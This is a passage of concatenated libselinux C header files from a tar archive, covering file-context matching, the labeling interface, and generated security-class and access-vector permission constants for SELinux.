such error messages. */ extern void set_matchpathcon_invalidcon(int (*f) (const char *path, unsigned lineno, char *context)); /* Same as above, but also allows canonicalization of the context, by changing *context to refer to the canonical form. If not set, and invalidcon is also not set, then this defaults to calling security_canonicalize_context(). */ extern void set_matchpathcon_canoncon(int (*f) (const char *path, unsigned lineno, char **context)); /* Set flags controlling operation of matchpathcon_init or matchpathcon. */ #define MATCHPATHCON_BASEONLY 1 /* Only process the base file_contexts file. */ #define MATCHPATHCON_NOTRANS 2 /* Do not perform any context translation. */ #define MATCHPATHCON_VALIDATE 4 /* Validate/canonicalize contexts at init time. */ extern void set_matchpathcon_flags(unsigned int flags); /* Load the file contexts configuration specified by 'path' into memory for use by subsequent matchpathcon calls. If 'path' is NULL, then load the active file contexts configuration, i.e. the path returned by selinux_file_context_path(). Unless the MATCHPATHCON_BASEONLY flag has been set, this function also checks for a 'path'.homedirs file and a 'path'.local file and loads additional specifications from them if present. */ extern int matchpathcon_init(const char *path); /* Same as matchpathcon_init, but only load entries with regexes that have stems that are prefixes of 'prefix'. */ extern int matchpathcon_init_prefix(const char *path, const char *prefix); /* Free the memory allocated by matchpathcon_init. */ extern void matchpathcon_fini(void); /* Resolve all of the symlinks and relative portions of a pathname, but NOT * the final component (same a realpath() unless the final component is a * symlink. Resolved path must be a path of size PATH_MAX + 1 */ extern int realpath_not_final(const char *name, char *resolved_path); /* Match the specified pathname and mode against the file contexts configuration and set *con to refer to the resulting context. 'mode' can be 0 to disable mode matching. Caller must free via freecon. If matchpathcon_init has not already been called, then this function will call it upon its first invocation with a NULL path. */ extern int matchpathcon(const char *path, mode_t mode, char ** con); /* Same as above, but return a specification index for later use in a matchpathcon_filespec_add() call - see below. */ extern int matchpathcon_index(const char *path, mode_t mode, char ** con); /* Maintain an association between an inode and a specification index, and check whether a conflicting specification is already associated with the same inode (e.g. due to multiple hard links). If so, then use the latter of the two specifications based on their order in the file contexts configuration. Return the used specification index. */ extern int matchpathcon_filespec_add(ino_t ino, int specind, const char *file); /* Destroy any inode associations that have been added, e.g. to restart for a new filesystem. */ extern void matchpathcon_filespec_destroy(void); /* Display statistics on the hash table usage for the associations. */ extern void matchpathcon_filespec_eval(void); /* Check to see whether any specifications had no matches and report them. The 'str' is used as a prefix for any warning messages. */ extern void matchpathcon_checkmatches(char *str); /* Match the specified media and against the media contexts configuration and set *con to refer to the resulting context. Caller must free con via freecon. */ extern int matchmediacon(const char *media, char ** con); /* selinux_getenforcemode reads the /etc/selinux/config file and determines whether the machine should be started in enforcing (1), permissive (0) or disabled (-1) mode. */ extern int selinux_getenforcemode(int *enforce); /* selinux_boolean_sub reads the /etc/selinux/TYPE/booleans.subs_dist file looking for a record with boolean_name. If a record exists selinux_boolean_sub returns the translated name otherwise it returns the original name. The returned value needs to be freed. On failure NULL will be returned. */ extern char *selinux_boolean_sub(const char *boolean_name); /* selinux_getpolicytype reads the /etc/selinux/config file and determines what the default policy for the machine is. Calling application must free policytype. */ extern int selinux_getpolicytype(char **policytype); /* selinux_policy_root reads the /etc/selinux/config file and returns the directory path under which the compiled policy file and context configuration files exist. */ extern const char *selinux_policy_root(void); /* selinux_set_policy_root sets an alternate policy root directory path under which the compiled policy file and context configuration files exist. */ extern int selinux_set_policy_root(const char *rootpath); /* These functions return the paths to specific files under the policy root directory. */ extern const char *selinux_current_policy_path(void); extern const char *selinux_binary_policy_path(void); extern const char *selinux_failsafe_context_path(void); extern const char *selinux_removable_context_path(void); extern const char *selinux_default_context_path(void); extern const char *selinux_user_contexts_path(void); extern const char *selinux_file_context_path(void); extern const char *selinux_file_context_homedir_path(void); extern const char *selinux_file_context_local_path(void); extern const char *selinux_file_context_subs_path(void); extern const char *selinux_file_context_subs_dist_path(void); extern const char *selinux_homedir_context_path(void); extern const char *selinux_media_context_path(void); extern const char *selinux_virtual_domain_context_path(void); extern const char *selinux_virtual_image_context_path(void); extern const char *selinux_lxc_contexts_path(void); extern const char *selinux_x_context_path(void); extern const char *selinux_sepgsql_context_path(void); extern const char *selinux_openrc_contexts_path(void); extern const char *selinux_openssh_contexts_path(void); extern const char *selinux_snapperd_contexts_path(void); extern const char *selinux_systemd_contexts_path(void); extern const char *selinux_contexts_path(void); extern const char *selinux_securetty_types_path(void); extern const char *selinux_booleans_subs_path(void); extern const char *selinux_booleans_path(void); extern const char *selinux_customizable_types_path(void); extern const char *selinux_users_path(void); extern const char *selinux_usersconf_path(void); extern const char *selinux_translations_path(void); extern const char *selinux_colors_path(void); extern const char *selinux_netfilter_context_path(void); extern const char *selinux_path(void); /** * selinux_check_access - Check permissions and perform appropriate auditing. * @scon: source security context * @tcon: target security context * @tclass: target security class string * @perm: requested permissions string, interpreted based on @tclass * @auditdata: auxiliary audit data * * Check the AVC to determine whether the @perm permissions are granted * for the SID pair (@scon, @tcon), interpreting the permissions * based on @tclass. * Return %0 if all @perm permissions are granted, -%1 with * @errno set to %EACCES if any permissions are denied or to another * value upon other errors. * If auditing or logging is configured the appropriate callbacks will be called * and passed the auditdata field */ extern int selinux_check_access(const char * scon, const char * tcon, const char *tclass, const char *perm, void *auditdata); /* Check a permission in the passwd class. Return 0 if granted or -1 otherwise. */ extern int selinux_check_passwd_access(access_vector_t requested); extern int checkPasswdAccess(access_vector_t requested); /* Check if the tty_context is defined as a securetty Return 0 if secure, < 0 otherwise. */ extern int selinux_check_securetty_context(const char * tty_context); /* Set the path to the selinuxfs mount point explicitly. Normally, this is determined automatically during libselinux initialization, but this is not always possible, e.g. for /sbin/init which performs the initial mount of selinuxfs. */ void set_selinuxmnt(const char *mnt); /* Check if selinuxfs exists as a kernel filesystem */ int selinuxfs_exists(void); /* clear selinuxmnt variable and free allocated memory */ void fini_selinuxmnt(void); /* Set an appropriate security context based on the filename of a helper * program, falling back to a new context with the specified type. */ extern int setexecfilecon(const char *filename, const char *fallback_type); #ifndef DISABLE_RPM /* Execute a helper for rpm in an appropriate security context. */ extern int rpm_execcon(unsigned int verified, const char *filename, char *const argv[], char *const envp[]); #endif /* Returns whether a file context is customizable, and should not be relabeled . */ extern int is_context_customizable(const char * scontext); /* Perform context translation between the human-readable format ("translated") and the internal system format ("raw"). Caller must free the resulting context via freecon. Returns -1 upon an error or 0 otherwise. If passed NULL, sets the returned context to NULL and returns 0. */ extern int selinux_trans_to_raw_context(const char * trans, char ** rawp); extern int selinux_raw_to_trans_context(const char * raw, char ** transp); /* Perform context translation between security contexts and display colors. Returns a space-separated list of ten ten hex RGB triples prefixed by hash marks, e.g. "#ff0000". Caller must free the resulting string via free. Returns -1 upon an error or 0 otherwise. */ extern int selinux_raw_context_to_color(const char * raw, char **color_str); /* Get the SELinux username and level to use for a given Linux username. These values may then be passed into the get_ordered_context_list* and get_default_context* functions to obtain a context for the user. Returns 0 on success or -1 otherwise. Caller must free the returned strings via free. */ extern int getseuserbyname(const char *linuxuser, char **seuser, char **level); /* Get the SELinux username and level to use for a given Linux username and service. These values may then be passed into the get_ordered_context_list* and get_default_context* functions to obtain a context for the user. Returns 0 on success or -1 otherwise. Caller must free the returned strings via free. */ extern int getseuser(const char *username, const char *service, char **r_seuser, char **r_level); /* Compare two file contexts, return 0 if equivalent. */ extern int selinux_file_context_cmp(const char * a, const char * b); /* * Verify the context of the file 'path' against policy. * Return 1 if match, 0 if not and -1 on error. */ extern int selinux_file_context_verify(const char *path, mode_t mode); /* This function sets the file context on to the system defaults returns 0 on success */ extern int selinux_lsetfilecon_default(const char *path); /* * Force a reset of the loaded configuration * WARNING: This is not thread safe. Be very sure that no other threads * are calling into libselinux when this is called. */ extern void selinux_reset_config(void); #ifdef __cplusplus } #endif #endif selinux/label.h 0000644 00000013532 15246445046 0007501 0 ustar 00 /* * Labeling interface for userspace object managers and others. * * Author : Eamon Walsh <ewalsh@tycho.nsa.gov> */ #ifndef _SELABEL_H_ #define _SELABEL_H_ #include <stdbool.h> #include <sys/types.h> #include <selinux/selinux.h> #ifdef __cplusplus extern "C" { #endif /* * Opaque type used for all label handles. */ struct selabel_handle; /* * Available backends. */ /* file contexts */ #define SELABEL_CTX_FILE 0 /* media contexts */ #define SELABEL_CTX_MEDIA 1 /* x contexts */ #define SELABEL_CTX_X 2 /* db objects */ #define SELABEL_CTX_DB 3 /* Android property service contexts */ #define SELABEL_CTX_ANDROID_PROP 4 /* Android service contexts */ #define SELABEL_CTX_ANDROID_SERVICE 5 /* * Available options */ /* no-op option, useful for unused slots in an array of options */ #define SELABEL_OPT_UNUSED 0 /* validate contexts before returning them (boolean value) */ #define SELABEL_OPT_VALIDATE 1 /* don't use local customizations to backend data (boolean value) */ #define SELABEL_OPT_BASEONLY 2 /* specify an alternate path to use when loading backend data */ #define SELABEL_OPT_PATH 3 /* select a subset of the search space as an optimization (file backend) */ #define SELABEL_OPT_SUBSET 4 /* require a hash calculation on spec files */ #define SELABEL_OPT_DIGEST 5 /* total number of options */ #define SELABEL_NOPT 6 /* * Label operations */ /** * selabel_open - Create a labeling handle. * @backend: one of the constants specifying a supported labeling backend. * @opts: array of selabel_opt structures specifying label options or NULL. * @nopts: number of elements in opts array or zero for no options. * * Open a labeling backend for use. The available backend identifiers are * listed above. Options may be provided via the opts parameter; available * options are listed above. Not all options may be supported by every * backend. Return value is the created handle on success or NULL with * @errno set on failure. */ struct selabel_handle *selabel_open(unsigned int backend, const struct selinux_opt *opts, unsigned nopts); /** * selabel_close - Close a labeling handle. * @handle: specifies handle to close * * Destroy the specified handle, closing files, freeing allocated memory, * etc. The handle may not be further used after it has been closed. */ void selabel_close(struct selabel_handle *handle); /** * selabel_lookup - Perform labeling lookup operation. * @handle: specifies backend instance to query * @con: returns the appropriate context with which to label the object * @key: string input to lookup operation * @type: numeric input to the lookup operation * * Perform a labeling lookup operation. Return %0 on success, -%1 with * @errno set on failure. The key and type arguments are the inputs to the * lookup operation; appropriate values are dictated by the backend in use. * The result is returned in the memory pointed to by @con and must be freed * by the user with freecon(). */ int selabel_lookup(struct selabel_handle *handle, char **con, const char *key, int type); int selabel_lookup_raw(struct selabel_handle *handle, char **con, const char *key, int type); bool selabel_partial_match(struct selabel_handle *handle, const char *key); int selabel_lookup_best_match(struct selabel_handle *rec, char **con, const char *key, const char **aliases, int type); int selabel_lookup_best_match_raw(struct selabel_handle *rec, char **con, const char *key, const char **aliases, int type); /** * selabel_digest - Retrieve the SHA1 digest and the list of specfiles used to * generate the digest. The SELABEL_OPT_DIGEST option must * be set in selabel_open() to initiate the digest generation. * @handle: specifies backend instance to query * @digest: returns a pointer to the SHA1 digest. * @digest_len: returns length of digest in bytes. * @specfiles: a list of specfiles used in the SHA1 digest generation. * The list is NULL terminated and will hold @num_specfiles entries. * @num_specfiles: number of specfiles in the list. * * Return %0 on success, -%1 with @errno set on failure. */ int selabel_digest(struct selabel_handle *rec, unsigned char **digest, size_t *digest_len, char ***specfiles, size_t *num_specfiles); enum selabel_cmp_result { SELABEL_SUBSET, SELABEL_EQUAL, SELABEL_SUPERSET, SELABEL_INCOMPARABLE }; /** * selabel_cmp - Compare two label configurations. * @h1: handle for the first label configuration * @h2: handle for the first label configuration * * Compare two label configurations. * Return %SELABEL_SUBSET if @h1 is a subset of @h2, %SELABEL_EQUAL * if @h1 is identical to @h2, %SELABEL_SUPERSET if @h1 is a superset * of @h2, and %SELABEL_INCOMPARABLE if @h1 and @h2 are incomparable. */ enum selabel_cmp_result selabel_cmp(struct selabel_handle *h1, struct selabel_handle *h2); /** * selabel_stats - log labeling operation statistics. * @handle: specifies backend instance to query * * Log a message with information about the number of queries performed, * number of unused matching entries, or other operational statistics. * Message is backend-specific, some backends may not output a message. */ void selabel_stats(struct selabel_handle *handle); /* * Type codes used by specific backends */ /* X backend */ #define SELABEL_X_PROP 1 #define SELABEL_X_EXT 2 #define SELABEL_X_CLIENT 3 #define SELABEL_X_EVENT 4 #define SELABEL_X_SELN 5 #define SELABEL_X_POLYPROP 6 #define SELABEL_X_POLYSELN 7 /* DB backend */ #define SELABEL_DB_DATABASE 1 #define SELABEL_DB_SCHEMA 2 #define SELABEL_DB_TABLE 3 #define SELABEL_DB_COLUMN 4 #define SELABEL_DB_SEQUENCE 5 #define SELABEL_DB_VIEW 6 #define SELABEL_DB_PROCEDURE 7 #define SELABEL_DB_BLOB 8 #define SELABEL_DB_TUPLE 9 #define SELABEL_DB_LANGUAGE 10 #define SELABEL_DB_EXCEPTION 11 #define SELABEL_DB_DATATYPE 12 #ifdef __cplusplus } #endif #endif /* _SELABEL_H_ */ selinux/flask.h 0000644 00000014400 15246445046 0007515 0 ustar 00 /* This file is automatically generated. Do not edit. */ #ifndef _SELINUX_FLASK_H_ #define _SELINUX_FLASK_H_ #warning "Please remove any #include's of this header in your source code." #warning "Instead, use string_to_security_class() to map the class name to a value." /* * Security object class definitions */ #define SECCLASS_SECURITY 1 #define SECCLASS_PROCESS 2 #define SECCLASS_SYSTEM 3 #define SECCLASS_CAPABILITY 4 #define SECCLASS_FILESYSTEM 5 #define SECCLASS_FILE 6 #define SECCLASS_DIR 7 #define SECCLASS_FD 8 #define SECCLASS_LNK_FILE 9 #define SECCLASS_CHR_FILE 10 #define SECCLASS_BLK_FILE 11 #define SECCLASS_SOCK_FILE 12 #define SECCLASS_FIFO_FILE 13 #define SECCLASS_SOCKET 14 #define SECCLASS_TCP_SOCKET 15 #define SECCLASS_UDP_SOCKET 16 #define SECCLASS_RAWIP_SOCKET 17 #define SECCLASS_NODE 18 #define SECCLASS_NETIF 19 #define SECCLASS_NETLINK_SOCKET 20 #define SECCLASS_PACKET_SOCKET 21 #define SECCLASS_KEY_SOCKET 22 #define SECCLASS_UNIX_STREAM_SOCKET 23 #define SECCLASS_UNIX_DGRAM_SOCKET 24 #define SECCLASS_SEM 25 #define SECCLASS_MSG 26 #define SECCLASS_MSGQ 27 #define SECCLASS_SHM 28 #define SECCLASS_IPC 29 #define SECCLASS_PASSWD 30 #define SECCLASS_X_DRAWABLE 31 #define SECCLASS_X_SCREEN 32 #define SECCLASS_X_GC 33 #define SECCLASS_X_FONT 34 #define SECCLASS_X_COLORMAP 35 #define SECCLASS_X_PROPERTY 36 #define SECCLASS_X_SELECTION 37 #define SECCLASS_X_CURSOR 38 #define SECCLASS_X_CLIENT 39 #define SECCLASS_X_DEVICE 40 #define SECCLASS_X_SERVER 41 #define SECCLASS_X_EXTENSION 42 #define SECCLASS_NETLINK_ROUTE_SOCKET 43 #define SECCLASS_NETLINK_FIREWALL_SOCKET 44 #define SECCLASS_NETLINK_TCPDIAG_SOCKET 45 #define SECCLASS_NETLINK_NFLOG_SOCKET 46 #define SECCLASS_NETLINK_XFRM_SOCKET 47 #define SECCLASS_NETLINK_SELINUX_SOCKET 48 #define SECCLASS_NETLINK_AUDIT_SOCKET 49 #define SECCLASS_NETLINK_IP6FW_SOCKET 50 #define SECCLASS_NETLINK_DNRT_SOCKET 51 #define SECCLASS_DBUS 52 #define SECCLASS_NSCD 53 #define SECCLASS_ASSOCIATION 54 #define SECCLASS_NETLINK_KOBJECT_UEVENT_SOCKET 55 #define SECCLASS_APPLETALK_SOCKET 56 #define SECCLASS_PACKET 57 #define SECCLASS_KEY 58 #define SECCLASS_CONTEXT 59 #define SECCLASS_DCCP_SOCKET 60 #define SECCLASS_MEMPROTECT 61 #define SECCLASS_DB_DATABASE 62 #define SECCLASS_DB_TABLE 63 #define SECCLASS_DB_PROCEDURE 64 #define SECCLASS_DB_COLUMN 65 #define SECCLASS_DB_TUPLE 66 #define SECCLASS_DB_BLOB 67 #define SECCLASS_PEER 68 #define SECCLASS_CAPABILITY2 69 #define SECCLASS_X_RESOURCE 70 #define SECCLASS_X_EVENT 71 #define SECCLASS_X_SYNTHETIC_EVENT 72 #define SECCLASS_X_APPLICATION_DATA 73 /* * Security identifier indices for initial entities */ #define SECINITSID_KERNEL 1 #define SECINITSID_SECURITY 2 #define SECINITSID_UNLABELED 3 #define SECINITSID_FS 4 #define SECINITSID_FILE 5 #define SECINITSID_FILE_LABELS 6 #define SECINITSID_INIT 7 #define SECINITSID_ANY_SOCKET 8 #define SECINITSID_PORT 9 #define SECINITSID_NETIF 10 #define SECINITSID_NETMSG 11 #define SECINITSID_NODE 12 #define SECINITSID_IGMP_PACKET 13 #define SECINITSID_ICMP_SOCKET 14 #define SECINITSID_TCP_SOCKET 15 #define SECINITSID_SYSCTL_MODPROBE 16 #define SECINITSID_SYSCTL 17 #define SECINITSID_SYSCTL_FS 18 #define SECINITSID_SYSCTL_KERNEL 19 #define SECINITSID_SYSCTL_NET 20 #define SECINITSID_SYSCTL_NET_UNIX 21 #define SECINITSID_SYSCTL_VM 22 #define SECINITSID_SYSCTL_DEV 23 #define SECINITSID_KMOD 24 #define SECINITSID_POLICY 25 #define SECINITSID_SCMP_PACKET 26 #define SECINITSID_DEVNULL 27 #define SECINITSID_NUM 27 #endif selinux/av_permissions.h 0000644 00000177420 15246445046 0011472 0 ustar 00 #warning "Please remove any #include of this header in your source code." #warning "Instead, use string_to_av_perm() to map the permission name to a value." /* This file is automatically generated. Do not edit. */ #define COMMON_FILE__IOCTL 0x00000001UL #define COMMON_FILE__READ 0x00000002UL #define COMMON_FILE__WRITE 0x00000004UL #define COMMON_FILE__CREATE 0x00000008UL #define COMMON_FILE__GETATTR 0x00000010UL #define COMMON_FILE__SETATTR 0x00000020UL #define COMMON_FILE__LOCK 0x00000040UL #define COMMON_FILE__RELABELFROM 0x00000080UL #define COMMON_FILE__RELABELTO 0x00000100UL #define COMMON_FILE__APPEND 0x00000200UL #define COMMON_FILE__UNLINK 0x00000400UL #define COMMON_FILE__LINK 0x00000800UL #define COMMON_FILE__RENAME 0x00001000UL #define COMMON_FILE__EXECUTE 0x00002000UL #define COMMON_FILE__SWAPON 0x00004000UL #define COMMON_FILE__QUOTAON 0x00008000UL #define COMMON_FILE__MOUNTON 0x00010000UL #define COMMON_SOCKET__IOCTL 0x00000001UL #define COMMON_SOCKET__READ 0x00000002UL #define COMMON_SOCKET__WRITE 0x00000004UL #define COMMON_SOCKET__CREATE 0x00000008UL #define COMMON_SOCKET__GETATTR 0x00000010UL #define COMMON_SOCKET__SETATTR 0x00000020UL #define COMMON_SOCKET__LOCK 0x00000040UL #define COMMON_SOCKET__RELABELFROM 0x00000080UL #define COMMON_SOCKET__RELABELTO 0x00000100UL #define COMMON_SOCKET__APPEND 0x00000200UL #define COMMON_SOCKET__BIND 0x00000400UL #define COMMON_SOCKET__CONNECT 0x00000800UL #define COMMON_SOCKET__LISTEN 0x00001000UL #define COMMON_SOCKET__ACCEPT 0x00002000UL #define COMMON_SOCKET__GETOPT 0x00004000UL #define COMMON_SOCKET__SETOPT 0x00008000UL #define COMMON_SOCKET__SHUTDOWN 0x00010000UL #define COMMON_SOCKET__RECVFROM 0x00020000UL #define COMMON_SOCKET__SENDTO 0x00040000UL #define COMMON_SOCKET__RECV_MSG 0x00080000UL #define COMMON_SOCKET__SEND_MSG 0x00100000UL #define COMMON_SOCKET__NAME_BIND 0x00200000UL #define COMMON_IPC__CREATE 0x00000001UL #define COMMON_IPC__DESTROY 0x00000002UL #define COMMON_IPC__GETATTR 0x00000004UL #define COMMON_IPC__SETATTR 0x00000008UL #define COMMON_IPC__READ 0x00000010UL #define COMMON_IPC__WRITE 0x00000020UL #define COMMON_IPC__ASSOCIATE 0x00000040UL #define COMMON_IPC__UNIX_READ 0x00000080UL #define COMMON_IPC__UNIX_WRITE 0x00000100UL #define COMMON_DATABASE__CREATE 0x00000001UL #define COMMON_DATABASE__DROP 0x00000002UL #define COMMON_DATABASE__GETATTR 0x00000004UL #define COMMON_DATABASE__SETATTR 0x00000008UL #define COMMON_DATABASE__RELABELFROM 0x00000010UL #define COMMON_DATABASE__RELABELTO 0x00000020UL #define FILESYSTEM__MOUNT 0x00000001UL #define FILESYSTEM__REMOUNT 0x00000002UL #define FILESYSTEM__UNMOUNT 0x00000004UL #define FILESYSTEM__GETATTR 0x00000008UL #define FILESYSTEM__RELABELFROM 0x00000010UL #define FILESYSTEM__RELABELTO 0x00000020UL #define FILESYSTEM__TRANSITION 0x00000040UL #define FILESYSTEM__ASSOCIATE 0x00000080UL #define FILESYSTEM__QUOTAMOD 0x00000100UL #define FILESYSTEM__QUOTAGET 0x00000200UL #define DIR__IOCTL 0x00000001UL #define DIR__READ 0x00000002UL #define DIR__WRITE 0x00000004UL #define DIR__CREATE 0x00000008UL #define DIR__GETATTR 0x00000010UL #define DIR__SETATTR 0x00000020UL #define DIR__LOCK 0x00000040UL #define DIR__RELABELFROM 0x00000080UL #define DIR__RELABELTO 0x00000100UL #define DIR__APPEND 0x00000200UL #define DIR__UNLINK 0x00000400UL #define DIR__LINK 0x00000800UL #define DIR__RENAME 0x00001000UL #define DIR__EXECUTE 0x00002000UL #define DIR__SWAPON 0x00004000UL #define DIR__QUOTAON 0x00008000UL #define DIR__MOUNTON 0x00010000UL #define DIR__ADD_NAME 0x00020000UL #define DIR__REMOVE_NAME 0x00040000UL #define DIR__REPARENT 0x00080000UL #define DIR__SEARCH 0x00100000UL #define DIR__RMDIR 0x00200000UL #define DIR__OPEN 0x00400000UL #define FILE__IOCTL 0x00000001UL #define FILE__READ 0x00000002UL #define FILE__WRITE 0x00000004UL #define FILE__CREATE 0x00000008UL #define FILE__GETATTR 0x00000010UL #define FILE__SETATTR 0x00000020UL #define FILE__LOCK 0x00000040UL #define FILE__RELABELFROM 0x00000080UL #define FILE__RELABELTO 0x00000100UL #define FILE__APPEND 0x00000200UL #define FILE__UNLINK 0x00000400UL #define FILE__LINK 0x00000800UL #define FILE__RENAME 0x00001000UL #define FILE__EXECUTE 0x00002000UL #define FILE__SWAPON 0x00004000UL #define FILE__QUOTAON 0x00008000UL #define FILE__MOUNTON 0x00010000UL #define FILE__EXECUTE_NO_TRANS 0x00020000UL #define FILE__ENTRYPOINT 0x00040000UL #define FILE__EXECMOD 0x00080000UL #define FILE__OPEN 0x00100000UL #define LNK_FILE__IOCTL 0x00000001UL #define LNK_FILE__READ 0x00000002UL #define LNK_FILE__WRITE 0x00000004UL #define LNK_FILE__CREATE 0x00000008UL #define LNK_FILE__GETATTR 0x00000010UL #define LNK_FILE__SETATTR 0x00000020UL #define LNK_FILE__LOCK 0x00000040UL #define LNK_FILE__RELABELFROM 0x00000080UL #define LNK_FILE__RELABELTO 0x00000100UL #define LNK_FILE__APPEND 0x00000200UL #define LNK_FILE__UNLINK 0x00000400UL #define LNK_FILE__LINK 0x00000800UL #define LNK_FILE__RENAME 0x00001000UL #define LNK_FILE__EXECUTE 0x00002000UL #define LNK_FILE__SWAPON 0x00004000UL #define LNK_FILE__QUOTAON 0x00008000UL #define LNK_FILE__MOUNTON 0x00010000UL #define CHR_FILE__IOCTL 0x00000001UL #define CHR_FILE__READ 0x00000002UL #define CHR_FILE__WRITE 0x00000004UL #define CHR_FILE__CREATE 0x00000008UL #define CHR_FILE__GETATTR 0x00000010UL #define CHR_FILE__SETATTR 0x00000020UL #define CHR_FILE__LOCK 0x00000040UL #define CHR_FILE__RELABELFROM 0x00000080UL #define CHR_FILE__RELABELTO 0x00000100UL #define CHR_FILE__APPEND 0x00000200UL #define CHR_FILE__UNLINK 0x00000400UL #define CHR_FILE__LINK 0x00000800UL #define CHR_FILE__RENAME 0x00001000UL #define CHR_FILE__EXECUTE 0x00002000UL #define CHR_FILE__SWAPON 0x00004000UL #define CHR_FILE__QUOTAON 0x00008000UL #define CHR_FILE__MOUNTON 0x00010000UL #define CHR_FILE__EXECUTE_NO_TRANS 0x00020000UL #define CHR_FILE__ENTRYPOINT 0x00040000UL #define CHR_FILE__EXECMOD 0x00080000UL #define CHR_FILE__OPEN 0x00100000UL #define BLK_FILE__IOCTL 0x00000001UL #define BLK_FILE__READ 0x00000002UL #define BLK_FILE__WRITE 0x00000004UL #define BLK_FILE__CREATE 0x00000008UL #define BLK_FILE__GETATTR 0x00000010UL #define BLK_FILE__SETATTR 0x00000020UL #define BLK_FILE__LOCK 0x00000040UL #define BLK_FILE__RELABELFROM 0x00000080UL #define BLK_FILE__RELABELTO 0x00000100UL #define BLK_FILE__APPEND 0x00000200UL #define BLK_FILE__UNLINK 0x00000400UL #define BLK_FILE__LINK 0x00000800UL #define BLK_FILE__RENAME 0x00001000UL #define BLK_FILE__EXECUTE 0x00002000UL #define BLK_FILE__SWAPON 0x00004000UL #define BLK_FILE__QUOTAON 0x00008000UL #define BLK_FILE__MOUNTON 0x00010000UL #define BLK_FILE__OPEN 0x00020000UL #define SOCK_FILE__IOCTL 0x00000001UL #define SOCK_FILE__READ 0x00000002UL #define SOCK_FILE__WRITE 0x00000004UL #define SOCK_FILE__CREATE 0x00000008UL #define SOCK_FILE__GETATTR 0x00000010UL #define SOCK_FILE__SETATTR 0x00000020UL #define SOCK_FILE__LOCK 0x00000040UL #define SOCK_FILE__RELABELFROM 0x00000080UL #define SOCK_FILE__RELABELTO 0x00000100UL #define SOCK_FILE__APPEND 0x00000200UL #define SOCK_FILE__UNLINK 0x00000400UL #define SOCK_FILE__LINK 0x00000800UL #define SOCK_FILE__RENAME 0x00001000UL #define SOCK_FILE__EXECUTE 0x00002000UL #define SOCK_FILE__SWAPON 0x00004000UL #define SOCK_FILE__QUOTAON 0x00008000UL #define SOCK_FILE__MOUNTON 0x00010000UL #define FIFO_FILE__IOCTL 0x00000001UL #define FIFO_FILE__READ 0x00000002UL #define FIFO_FILE__WRITE 0x00000004UL #define FIFO_FILE__CREATE 0x00000008UL #define FIFO_FILE__GETATTR 0x00000010UL #define FIFO_FILE__SETATTR 0x00000020UL #define FIFO_FILE__LOCK 0x00000040UL #define FIFO_FILE__RELABELFROM 0x00000080UL #define FIFO_FILE__RELABELTO 0x00000100UL #define FIFO_FILE__APPEND 0x00000200UL #define FIFO_FILE__UNLINK 0x00000400UL #define FIFO_FILE__LINK 0x00000800UL #define FIFO_FILE__RENAME 0x00001000UL #define FIFO_FILE__EXECUTE 0x00002000UL #define FIFO_FILE__SWAPON 0x00004000UL #define FIFO_FILE__QUOTAON 0x00008000UL #define FIFO_FILE__MOUNTON 0x00010000UL #define FIFO_FILE__OPEN 0x00020000UL #define FD__USE 0x00000001UL #define SOCKET__IOCTL 0x00000001UL #define SOCKET__READ 0x00000002UL #define SOCKET__WRITE 0x00000004UL #define SOCKET__CREATE 0x00000008UL #define SOCKET__GETATTR 0x00000010UL #define SOCKET__SETATTR 0x00000020UL #define SOCKET__LOCK 0x00000040UL #define SOCKET__RELABELFROM 0x00000080UL #define SOCKET__RELABELTO 0x00000100UL #define SOCKET__APPEND 0x00000200UL #define SOCKET__BIND 0x00000400UL #define SOCKET__CONNECT 0x00000800UL #define SOCKET__LISTEN 0x00001000UL #define SOCKET__ACCEPT 0x00002000UL #define SOCKET__GETOPT 0x00004000UL #define SOCKET__SETOPT 0x00008000UL #define SOCKET__SHUTDOWN 0x00010000UL #define SOCKET__RECVFROM 0x00020000UL #define SOCKET__SENDTO 0x00040000UL #define SOCKET__RECV_MSG 0x00080000UL #define SOCKET__SEND_MSG 0x00100000UL #define SOCKET__NAME_BIND 0x00200000UL #define TCP_SOCKET__IOCTL 0x00000001UL #define TCP_SOCKET__READ 0x00000002UL #define TCP_SOCKET__WRITE 0x00000004UL #define TCP_SOCKET__CREATE 0x00000008UL #define TCP_SOCKET__GETATTR 0x00000010UL #define TCP_SOCKET__SETATTR 0x00000020UL #define TCP_SOCKET__LOCK 0x00000040UL #define TCP_SOCKET__RELABELFROM 0x00000080UL #define TCP_SOCKET__RELABELTO 0x00000100UL #define TCP_SOCKET__APPEND 0x00000200UL #define TCP_SOCKET__BIND 0x00000400UL #define TCP_SOCKET__CONNECT 0x00000800UL #define TCP_SOCKET__LISTEN 0x00001000UL #define TCP_SOCKET__ACCEPT 0x00002000UL #define TCP_SOCKET__GETOPT 0x00004000UL #define TCP_SOCKET__SETOPT 0x00008000UL #define TCP_SOCKET__SHUTDOWN 0x00010000UL #define TCP_SOCKET__RECVFROM 0x00020000UL #define TCP_SOCKET__SENDTO 0x00040000UL #define TCP_SOCKET__RECV_MSG 0x00080000UL #define TCP_SOCKET__SEND_MSG 0x00100000UL #define TCP_SOCKET__NAME_BIND 0x00200000UL #define TCP_SOCKET__CONNECTTO 0x00400000UL #define TCP_SOCKET__NEWCONN 0x00800000UL #define TCP_SOCKET__ACCEPTFROM 0x01000000UL #define TCP_SOCKET__NODE_BIND 0x02000000UL #define TCP_SOCKET__NAME_CONNECT 0x04000000UL #define UDP_SOCKET__IOCTL 0x00000001UL #define UDP_SOCKET__READ 0x00000002UL #define UDP_SOCKET__WRITE 0x00000004UL #define UDP_SOCKET__CREATE 0x00000008UL #define UDP_SOCKET__GETATTR 0x00000010UL #define UDP_SOCKET__SETATTR 0x00000020UL #define UDP_SOCKET__LOCK 0x00000040UL #define UDP_SOCKET__RELABELFROM 0x00000080UL #define UDP_SOCKET__RELABELTO 0x00000100UL #define UDP_SOCKET__APPEND 0x00000200UL #define UDP_SOCKET__BIND 0x00000400UL #define UDP_SOCKET__CONNECT 0x00000800UL #define UDP_SOCKET__LISTEN 0x00001000UL #define UDP_SOCKET__ACCEPT 0x00002000UL #define UDP_SOCKET__GETOPT 0x00004000UL #define UDP_SOCKET__SETOPT 0x00008000UL #define UDP_SOCKET__SHUTDOWN 0x00010000UL #define UDP_SOCKET__RECVFROM 0x00020000UL #define UDP_SOCKET__SENDTO 0x00040000UL #define UDP_SOCKET__RECV_MSG 0x00080000UL #define UDP_SOCKET__SEND_MSG 0x00100000UL #define UDP_SOCKET__NAME_BIND 0x00200000UL #define UDP_SOCKET__NODE_BIND 0x00400000UL #define RAWIP_SOCKET__IOCTL 0x00000001UL #define RAWIP_SOCKET__READ 0x00000002UL #define RAWIP_SOCKET__WRITE 0x00000004UL #define 